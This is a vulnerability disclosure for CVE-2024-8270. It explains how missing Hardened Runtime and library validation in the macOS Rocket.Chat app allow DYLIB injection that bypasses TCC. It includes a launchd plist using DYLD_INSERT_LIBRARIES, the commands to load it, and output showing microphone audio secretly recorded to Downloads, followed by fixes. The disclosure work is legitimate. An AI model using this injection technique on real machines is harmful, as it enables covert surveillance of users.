Dec 11, 2024
CVE-2024-8270
Carlos Garrido of Pentraze Cybersecurity
The macOS Rocket.Chat application is affected by a vulnerability that allows bypassing Transparency, Consent, and Control (TCC) policies, enabling the exploitation or abuse of permissions specified in its entitlements (e.g., microphone, camera, automation, network client). Since Rocket.Chat was not signed with the Hardened Runtime nor set to enforce Library Validation, it is vulnerable to DYLIB injection attacks, which can lead to unauthorized actions or escalation of permissions. Consequently, an attacker gains capabilities that are not permitted by default under the Sandbox and its application profile.
The vulnerability described in the following report was tested on version 4.1.2.
5.5 (Medium) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
If we inspect the application’s code signature, we can retrieve the entitlements:
Executable=/Applications/Rocket.Chat.app/Contents/MacOS/Rocket.Chat
Identifier=chat.rocket
Format=app bundle with Mach-O universal (x86_64 arm64)
CodeDirectory v=20400 size=495 flags=0x0(none) hashes=5+7 location=embedded
Signature size=4797
Info.plist entries=33
TeamIdentifier=S6UPZG7ZR3
Sealed Resources version=2 rules=13 files=11839
Internal requirements count=1 size=212
Warning: Specifying ':' in the path is deprecated and will not work in a future release
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>com.apple.application-identifier</key><string>S6UPZG7ZR3.chat.rocket</string><key>com.apple.developer.team-identifier</key><string>S6UPZG7ZR3</string><key>com.apple.security.app-sandbox</key><true/><key>com.apple.security.application-groups</key><array><string>S6UPZG7ZR3.chat.rocket</string></array><key>com.apple.security.automation.apple-events</key><true/><key>com.apple.security.cs.allow-jit</key><true/><key>com.apple.security.cs.allow-unsigned-executable-memory</key><true/><key>com.apple.security.cs.disable-library-validation</key><true/><key>com.apple.security.device.audio-input</key><true/><key>com.apple.security.device.camera</key><true/><key>com.apple.security.device.microphone</key><true/><key>com.apple.security.files.downloads.read-write</key><true/><key>com.apple.security.files.user-selected.read-only</key><true/><key>com.apple.security.files.user-selected.read-write</key><true/><key>com.apple.security.network.client</key><true/></dict></plist>%
Entitlements are strings which, if present in the code signature, add various rights or restrictions to the given application.
Furthermore, the entitlements are encoded in a PLIST file. This information can be found in the Code Signature section of the Mach-O binary. The offset for this section can be determined via the Load Command LC_CODE_SIGNATURE, which belongs to the __LINKEDIT segment.
Among the relevant entitlements that Rocket.Chat possesses, we have the following:
When this entitlement is present during process execution, the system enforces the /System/Library/Sandbox/Profiles/application.sb profile on that process.
The default Sandbox profile imposes strict limitations, allowing the application access to only a minimal set of resources. However, developers can extend resource access for their sandboxed apps by adding specific entitlements to the application, as we will illustrate with the Rocket.Chat App.
A Boolean value that indicates whether the app may interact with the built-in and external cameras, and capture movies and still images.
Confirming how, indeed, with this entitlement, we can access the camera:
~ % rg -B 5 -A 5 "com.apple.security.device.camera" /System/Library/Sandbox/Profiles/application.sb
(when (entitlement "com.apple.security.device.camera") (camera))
A Boolean value indicating whether the app is permitted to use the microphone. This is a Sandbox entitlement. To enable microphone access in a sandboxed app, this entitlement must be enabled.
This entitlement is similar to com.apple.security.device.microphone, but it applies when the microphone is used in an application signed with Hardened Runtime. However, in the case of Rocket.Chat, Hardened Runtime is not enabled.
If our application runs in a Sandbox and is signed with Hardened Runtime, it must include both entitlements: com.apple.security.device.audio-input and com.apple.security.device.microphone.
If we examine the default profile, we will see that, indeed, if the application has the com.apple.security.device.audio-input or com.apple.security.device.microphone entitlement, it will be granted access to the microphone:
~ % rg -B 5 -A 5 "com.apple.security.device.microphone" "com.apple.security.device.microphone" /System/Library/Sandbox/Profiles/application.sb
(when (or (entitlement "com.apple.security.device.microphone")
(entitlement "com.apple.security.device.audio-input"))
(audio-input))
A Boolean value that indicates whether the app may have read-write access to the Downloads folder.
Why is this entitlement relevant?
When an application is sandboxed, it is confined to its own directory under ~/Library/Containers. The Sandbox profile governs its ability to access other locations on the system.
Based on the entitlement com.apple.security.files.downloads.read-write, we know that we have read and write access to the user’s Downloads folder. While this entitlement does not constitute a security vulnerability, it can be useful if we need to write outside the application’s Sandbox container at any point."
~ % rg -B 5 -A 5 "com.apple.security.files.downloads.read-write" "com.apple.security.device.microphone" /System/Library/Sandbox/Profiles/application.sb
(when (entitlement "com.apple.security.files.downloads.read-write")
(read-write-and-issue-extensions (home-subpath "/Downloads")))
It is worth noting that Rocket.Chat includes other entitlements, such as com.apple.security.cs.disable-library-validation, which allows unsigned libraries to load without being rejected by Apple Mobile File Integrity (AMFI) due to a code signature mismatch with the application. Furthermore, this could enable other abuses, such as DYLIB hijacking.
TCC manages access to several privacy-sensitive locations by either obtaining user ‘consent’ or by recognizing user ‘intent’ for an operation. In the case of consent, the application typically prompts the user, requesting permission to access a specific privacy-related location or service.
Applications not only need to request and receive access to certain resources, but they also must have the relevant entitlements. For example, Rocket.chat has the com.apple.security.device.microphone entitlement to request access to the microphone.
An application without this entitlement will not be able to access the microphone, and the user will not even be prompted for permission.
TCC maintains a system-wide database for global privacy settings and a per-user database for more specific configurations. Both are SQLITE3 databases with identical schemas. The system-wide database is located at /Library/Application Support/com.apple.TCC/TCC.db, while the per-user database is found at $HOME/Library/Application Support/com.apple.TCC/TCC.db.
When accessing the per-user database, we can run a query to verify whether Rocket.Chat has been granted permission to access, for example, the microphone. This can be confirmed if the auth_value in the access table is set to 2:
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
SQLite version 3.37.0 2021-12-09 01:34:53
Enter ".help" for usage hints.
sqlite> SELECT * FROM access WHERE client LIKE "%rocket%" and auth_value=2;
kTCCServiceMicrophone|chat.rocket|0|2|4|1|??||0|UNUSED||0|1725119972
Our objective with the exploit is to capture audio from the target machine’s microphone by injecting code into the Rocket.Chat application.
For convenience, we will use the DYLD_INSERT_LIBRARIES environment variable to inject a DYLIB.
While it’s possible to perform standard code injection directly from the Terminal, this method presents a significant issue. Running the app via Terminal would cause Rocket.Chat to inherit the Terminal’s Sandbox profile and permissions. This is problematic because our goal is to operate within Rocket.Chat’s specific profile and privacy settings, not those of the Terminal.
To achieve this, we need to launch Rocket.Chat using launchd, ensuring it runs within its intended context. This can be done by creating a custom PLIST file and instructing launchd to load it, thereby preserving the appropriate Sandbox environment and privileges:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>org.audio.rocket</string>
<key>EnvironmentVariables</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/tmp/Rocket.dylib</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Rocket.Chat.app/Contents/MacOS/Rocket.Chat</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
Next, we’ll launch Rocket.Chat by running launchctl with the load option:
% launchctl load Rocket.plist
% ls -l ~/Downloads/Rocket.m4a
-rw-r--r--@ 1 research staff 208696 Aug 31 18:17 /Users/research/Downloads/Rocket.m4a
% launchctl list | grep -v apple
PID Status Label
- 0 org.audio.rocket
Upon reviewing the system logs, we can observe that many of the previously explained processes do indeed occur, including the following:
The libsystem_secinit.dylib`_libsecinit_appsandbox will call __sandbox_ms, resulting in a __mac_syscall to the Sandbox Kernel Extension:
log stream | grep -iE --color=always "Rocket.Chat"
2024-08-31 19:09:35.934695-0400 0x3d91b Activity 0x4d020 5325 0 Rocket.Chat: (libsystem_secinit.dylib) AppSandbox
2024-08-31 19:09:35.937723-0400 0x3d8b5 Default 0x4d020 406 0 secinitd: Rocket.Chat[5325]: root path for bundle "<private>" of main executable "<private>"
2024-08-31 19:09:35.971552-0400 0x3d8b5 Default 0x4d020 406 0 secinitd: (AppSandbox) AppSandboxUtilRealPathForUTF8StringPath(/Applications/Rocket.Chat.app)
2024-08-31 19:09:35.983675-0400 0x3d8b5 Default 0x4d020 406 0 secinitd: (AppSandbox) AppSandboxUtilRealPathForUTF8StringPath(/Applications/Rocket.Chat.app)
2024-08-31 19:09:35.983902-0400 0x3d8b5 Default 0x4d020 406 0 secinitd: (AppSandbox) AppSandboxUtilRealPathForUTF8StringPath(/Applications/Rocket.Chat.app/Contents/Frameworks/Electron Framework.framework)
2024-08-31 19:09:35.984064-0400 0x3d8b5 Default 0x4d020 406 0 secinitd: (AppSandbox) AppSandboxUtilRealPathForUTF8StringPath(/Applications/Rocket.Chat.app/Contents/Frameworks/Electron Framework.framework/Versions/A/Libraries)
2024-08-31 19:09:36.264357-0400 0x3d8b5 Default 0x4d020 406 0 secinitd: Rocket.Chat[5325]: AppSandbox request successful
Logs related to the process of encoding the audio captured from the microphone:
Rocket.Chat: (AudioCodecs) [com.apple.coreaudio:ac] ACMP4AACBaseEncoder.cpp:650 (0x7fd5cc0b8c40) @@@@ 'aac ' encoder configuration: srIn = 44100, srOut = 44100, chans = 2, bitRateFormat = 1, bitrate = 128000, quality (complexity) = 64, VBRQ = -1, speechOptimization = 0, packetSizeLimit = 0 (bits), packetBitSizeMin = 0 (bits), mMaxPacketSize = 1536 (bytes), userBandwidth = 0, delayMode = 0, mCodecDelay = 2112, drcConfiguration = 0, mPrePostFillMask = 0x0
Rocket.Chat: (AudioCodecs) [com.apple.coreaudio:ac] ACMP4AACBaseEncoder.cpp:650 (0x7fd5cc0b8c40) @@@@ 'aac ' encoder configuration: srIn = 44100, srOut = 44100, chans = 2, bitRateFormat = 1, bitrate = 256000, quality (complexity) = 64, VBRQ = -1, speechOptimization = 0, packetSizeLimit = 0 (bits), packetBitSizeMin = 0 (bits), mMaxPacketSize = 1536 (bytes), userBandwidth = 0, delayMode = 0, mCodecDelay = 2112, drcConfiguration = 0, mPrePostFillMask = 0x0
Rocket.Chat: (CMIOBaseUnits) [com.apple.cmio:] CMIO_Unit_Input_HAL.cpp:555:_HandleDevicePropertyChange noting running state has changed; treat as overload (kAudioDevicePropertyDeviceIsRunning is currently 0)
.
.
<SNIP>
.
.
Enable the Hardened Runtime capability for the /Applications/Rocket.Chat.app/Contents/MacOS/Rocket.Chat binary.
Avoid using dangerous entitlements such as com.apple.security.cs.disable-library-validation alongside com.apple.security.cs.allow-dyld-environment-variables.